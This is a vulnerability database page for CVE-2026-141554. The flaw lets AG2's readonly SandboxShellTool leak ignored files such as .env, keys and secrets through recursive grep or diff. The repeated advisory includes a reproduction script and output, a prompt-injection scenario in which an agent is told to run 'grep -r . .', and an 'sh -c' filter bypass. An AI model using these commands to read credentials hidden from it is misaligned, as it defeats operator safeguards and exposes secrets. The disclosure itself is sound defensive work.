Every CVESearch/Get API key

CVE-2026-141554

AG2 SandboxShellTool: files hidden with `ignore` are still readable through recursive `grep` / `diff` in readonly mode

Explain with AI
ChatGPTClaudeGoogle AI
Severity
3.1Low
Network attack, no privileges, needs user interactionCVSS 3.1, CVE List
Exploitation
Proof of concept
CISA reports one, no source links it
Exploit chance
0.57% in 30 days
Percentile48th
EPSS, scored
Listed fix
1.3.4 for ag2
From GitHub Advisories and OSV1 other affected package

Overview

AG2 is an open-source AgentOS. From 0.13.3 until 1.3.4, SandboxShellTool configured with readonly=True and ignore can return ignored files when an allowed recursive grep, egrep, fgrep, or diff opens files inside a directory, including the implicit current directory. ShellAdapter._filter() in ag2/tools/sandbox/adapter/shell.py calls check_ignore() in ag2/tools/sandbox/filter.py, which checks paths written in the command but not files discovered by the program. An agent processing attacker-controlled content may issue such a command and expose the files in the tool result; disclosure to the attacker additionally requires an output channel in the deployment. This issue is fixed in version 1.3.4.

CVSS 3.1 vector

Exploitability

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

Impact

Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Exploit chance over time

Unchanged since Dec 3, 2026
EPSS score 0.57% every day from Dec 3, 2026 to Dec 4, 2026.

Affected

Packages 2

Affected packages
PackageAffectedFixed
ag2
PyPI
0.13.3 to 1.3.3
1.3.4
0.13.3 up to 1.3.4, plus listed versions
0.13.40.14.01.0.01.0.0b01.0.1
Show 15 more versionsShow less
1.0.21.0.31.0.41.0.51.0.61.1.01.1.11.1.21.2.01.2.11.2.21.3.01.3.11.3.21.3.3
1.3.4
autogen
PyPI
0.13.3 to 0.14.1, plus listed versions
0.13.40.14.00.14.1rc1
None listed

Products 3

Sources

CVE List Score usedCVSS 3.13.1

AG2 SandboxShellTool: files hidden with `ignore` are still readable through recursive `grep` / `diff` in readonly mode

AG2 is an open-source AgentOS. From 0.13.3 until 1.3.4, SandboxShellTool configured with readonly=True and ignore can return ignored files when an allowed recursive grep, egrep, fgrep, or diff opens files inside a directory, including the implicit current directory. ShellAdapter._filter() in ag2/tools/sandbox/adapter/shell.py calls check_ignore() in ag2/tools/sandbox/filter.py, which checks paths written in the command but not files discovered by the program. An agent processing attacker-controlled content may issue such a command and expose the files in the tool result; disclosure to the attacker additionally requires an output channel in the deployment. This issue is fixed in version 1.3.4.

Record
CVE-2026-141554
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-12-02
EUVDEUVD-2026-141826CVSS 3.13.1

AG2 is an open-source AgentOS. From 0.13.3 until 1.3.4, SandboxShellTool configured with readonly=True and ignore can return ignored files when an allowed recursive grep, egrep, fgrep, or diff opens files inside a directory, including the implicit current directory. ShellAdapter._filter() in ag2/tools/sandbox/adapter/shell.py calls check_ignore() in ag2/tools/sandbox/filter.py, which checks paths written in the command but not files discovered by the program. An agent processing attacker-controlled content may issue such a command and expose the files in the tool result; disclosure to the attacker additionally requires an output channel in the deployment. This issue is fixed in version 1.3.4.

Record
EUVD-2026-141826
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Updated
2026-12-02
GitHub AdvisoriesGHSA-xhqj-2fcc-8vf7CVSS 3.13.1

AG2 SandboxShellTool: files hidden with `ignore` are still readable through recursive `grep` / `diff` in readonly mode

Summary

SandboxShellTool(ignore=[...]) refuses a command when a path written in the command matches an ignore pattern. It does not look at files a program finds by itself. readonly=True allows grep and diff, and with -r they open every file under a directory, so grep -r KEY . prints the contents of .env, *.key and secrets/** while cat .env is refused.

The docs cover part of this. website/docs/user-guide/tools/local_shell.mdx:112 says: "ignore checks only the literal path words of the command. [...] A program that opens paths on its own (sh -c, find) is not covered; use an isolated backend for that." Both examples in that note are programs readonly=True does not allow. The built-in read-only list contains grep, egrep, fgrep and diff (ag2/tools/sandbox/filter.py:25-43), the same page recommends grep -r --include='*.py' in restricted mode (line 139), and common_toolkits.mdx:346-347 introduces ignore=["**/.env", "*.key", "secrets/**"] as "Hide sensitive files from the agent". An operator who combines readonly=True with ignore can reasonably expect those files to stay hidden, and they don't. If you read the note at line 112 as already covering recursive grep, I'm fine with closing this as a documentation issue.

Affected versions

PyPI ag2 1.3.2 (latest, tested 2026-11-19) and 1.3.1 (tested 2026-11-15). main at 7a65080 has the same filter.py. Older releases were not checked.

Impact

The operator runs an agent with SandboxShellTool(readonly=True, ignore=[...]) on a local directory that contains the ignored files, and the agent processes content the attacker wrote (a document, a web page, tool output). If the model follows an injected instruction to run grep -r . ., the ignored files come back in the tool result. I scripted the model turn and did not test a live model. To receive the data the attacker also needs an output channel in the deployment, such as the agent's reply or another tool. The shell tool in readonly mode does not provide one.

Every command that names an ignored path was refused in my tests: relative, absolute and .. paths, globs, head/tail/cut/wc/stat, grep -f.env, and existing symlinks to an ignored file or directory. Shell syntax and find are refused in readonly mode. Recursion is the only way through that I found.

This report is limited to readonly=True. With ignore alone any program can run (sh -c 'cat .e""nv' prints the file), and the docs already say so.

Reproduction

ag2==1.3.2 from PyPI, Python 3.12.16, GNU grep 3.11, python:3.12-slim container without network.

import asyncio, tempfile
from pathlib import Path
from ag2.tools import LocalEnvironment, SandboxShellTool

work = Path(tempfile.mkdtemp(prefix="proj_"))
(work / ".env").write_text("OPENAI_API_KEY=sk-MARKER-ENV\n")
(work / "deploy.key").write_text("-----BEGIN MARKER PRIVATE KEY-----\n")
(work / "secrets").mkdir()
(work / "secrets" / "db.txt").write_text("DB_PASSWORD=MARKER-DB\n")
(work / "app.py").write_text("print('hello')\n")

sh = SandboxShellTool(LocalEnvironment(str(work)), readonly=True,
                      ignore=["**/.env", "*.key", "secrets/**"])

async def main():
    for cmd in ["cat .env", "cat .en*", "grep KEY .env", "cat secrets/db.txt",
                "grep -r KEY .", "grep -r . secrets", "grep -r MARKER"]:
        print(f"\n$ {cmd}\n{(await sh._adapter.run(cmd)).strip()}")

asyncio.run(main())

Output:

$ cat .env
Access denied: /tmp/proj__1j68o_r/.env

$ cat .en*
Access denied: /tmp/proj__1j68o_r/.env

$ grep KEY .env
Access denied: /tmp/proj__1j68o_r/.env

$ cat secrets/db.txt
Access denied: /tmp/proj__1j68o_r/secrets/db.txt

$ grep -r KEY .
./.env:OPENAI_API_KEY=sk-MARKER-ENV
./deploy.key:-----BEGIN MARKER PRIVATE KEY-----

$ grep -r . secrets
secrets/db.txt:DB_PASSWORD=MARKER-DB

$ grep -r MARKER
.env:OPENAI_API_KEY=sk-MARKER-ENV
secrets/db.txt:DB_PASSWORD=MARKER-DB
deploy.key:-----BEGIN MARKER…
Record
GHSA-xhqj-2fcc-8vf7
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-12-03
NVDCVSS 3.13.1

AG2 is an open-source AgentOS. From 0.13.3 until 1.3.4, SandboxShellTool configured with readonly=True and ignore can return ignored files when an allowed recursive grep, egrep, fgrep, or diff opens files inside a directory, including the implicit current directory. ShellAdapter._filter() in ag2/tools/sandbox/adapter/shell.py calls check_ignore() in ag2/tools/sandbox/filter.py, which checks paths written in the command but not files discovered by the program. An agent processing attacker-controlled content may issue such a command and expose the files in the tool result; disclosure to the attacker additionally requires an output channel in the deployment. This issue is fixed in version 1.3.4.

Record
CVE-2026-141554
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-12-02
OSVCVSS 3.13.1

AG2 SandboxShellTool: files hidden with `ignore` are still readable through recursive `grep` / `diff` in readonly mode

AG2 is an open-source AgentOS. From 0.13.3 until 1.3.4, SandboxShellTool configured with readonly=True and ignore can return ignored files when an allowed recursive grep, egrep, fgrep, or diff opens files inside a directory, including the implicit current directory. ShellAdapter._filter() in ag2/tools/sandbox/adapter/shell.py calls check_ignore() in ag2/tools/sandbox/filter.py, which checks paths written in the command but not files discovered by the program. An agent processing attacker-controlled content may issue such a command and expose the files in the tool result; disclosure to the attacker additionally requires an output channel in the deployment. This issue is fixed in version 1.3.4.

Record
CVE-2026-141554
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-12-03
OSVGHSA-xhqj-2fcc-8vf7CVSS 3.13.1

AG2 SandboxShellTool: files hidden with `ignore` are still readable through recursive `grep` / `diff` in readonly mode

Summary

SandboxShellTool(ignore=[...]) refuses a command when a path written in the command matches an ignore pattern. It does not look at files a program finds by itself. readonly=True allows grep and diff, and with -r they open every file under a directory, so grep -r KEY . prints the contents of .env, *.key and secrets/** while cat .env is refused.

The docs cover part of this. website/docs/user-guide/tools/local_shell.mdx:112 says: "ignore checks only the literal path words of the command. [...] A program that opens paths on its own (sh -c, find) is not covered; use an isolated backend for that." Both examples in that note are programs readonly=True does not allow. The built-in read-only list contains grep, egrep, fgrep and diff (ag2/tools/sandbox/filter.py:25-43), the same page recommends grep -r --include='*.py' in restricted mode (line 139), and common_toolkits.mdx:346-347 introduces ignore=["**/.env", "*.key", "secrets/**"] as "Hide sensitive files from the agent". An operator who combines readonly=True with ignore can reasonably expect those files to stay hidden, and they don't. If you read the note at line 112 as already covering recursive grep, I'm fine with closing this as a documentation issue.

Affected versions

PyPI ag2 1.3.2 (latest, tested 2026-11-19) and 1.3.1 (tested 2026-11-15). main at 7a65080 has the same filter.py. Older releases were not checked.

Impact

The operator runs an agent with SandboxShellTool(readonly=True, ignore=[...]) on a local directory that contains the ignored files, and the agent processes content the attacker wrote (a document, a web page, tool output). If the model follows an injected instruction to run grep -r . ., the ignored files come back in the tool result. I scripted the model turn and did not test a live model. To receive the data the attacker also needs an output channel in the deployment, such as the agent's reply or another tool. The shell tool in readonly mode does not provide one.

Every command that names an ignored path was refused in my tests: relative, absolute and .. paths, globs, head/tail/cut/wc/stat, grep -f.env, and existing symlinks to an ignored file or directory. Shell syntax and find are refused in readonly mode. Recursion is the only way through that I found.

This report is limited to readonly=True. With ignore alone any program can run (sh -c 'cat .e""nv' prints the file), and the docs already say so.

Reproduction

ag2==1.3.2 from PyPI, Python 3.12.16, GNU grep 3.11, python:3.12-slim container without network.

import asyncio, tempfile
from pathlib import Path
from ag2.tools import LocalEnvironment, SandboxShellTool

work = Path(tempfile.mkdtemp(prefix="proj_"))
(work / ".env").write_text("OPENAI_API_KEY=sk-MARKER-ENV\n")
(work / "deploy.key").write_text("-----BEGIN MARKER PRIVATE KEY-----\n")
(work / "secrets").mkdir()
(work / "secrets" / "db.txt").write_text("DB_PASSWORD=MARKER-DB\n")
(work / "app.py").write_text("print('hello')\n")

sh = SandboxShellTool(LocalEnvironment(str(work)), readonly=True,
                      ignore=["**/.env", "*.key", "secrets/**"])

async def main():
    for cmd in ["cat .env", "cat .en*", "grep KEY .env", "cat secrets/db.txt",
                "grep -r KEY .", "grep -r . secrets", "grep -r MARKER"]:
        print(f"\n$ {cmd}\n{(await sh._adapter.run(cmd)).strip()}")

asyncio.run(main())

Output:

$ cat .env
Access denied: /tmp/proj__1j68o_r/.env

$ cat .en*
Access denied: /tmp/proj__1j68o_r/.env

$ grep KEY .env
Access denied: /tmp/proj__1j68o_r/.env

$ cat secrets/db.txt
Access denied: /tmp/proj__1j68o_r/secrets/db.txt

$ grep -r KEY .
./.env:OPENAI_API_KEY=sk-MARKER-ENV
./deploy.key:-----BEGIN MARKER PRIVATE KEY-----

$ grep -r . secrets
secrets/db.txt:DB_PASSWORD=MARKER-DB

$ grep -r MARKER
.env:OPENAI_API_KEY=sk-MARKER-ENV
secrets/db.txt:DB_PASSWORD=MARKER-DB
deploy.key:-----BEGIN MARKER…
Record
GHSA-xhqj-2fcc-8vf7
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Weakness
CWE-863
Updated
2026-12-03

The JSON record also has the rest of 2 source descriptions.

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packages, referencesOSV
Affected packages, key facts, referencesGitHub Advisories
Other IDs, referencesOSV
Other IDs, products, published dateEUVD, NVD
Key facts, referencesCVE List
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open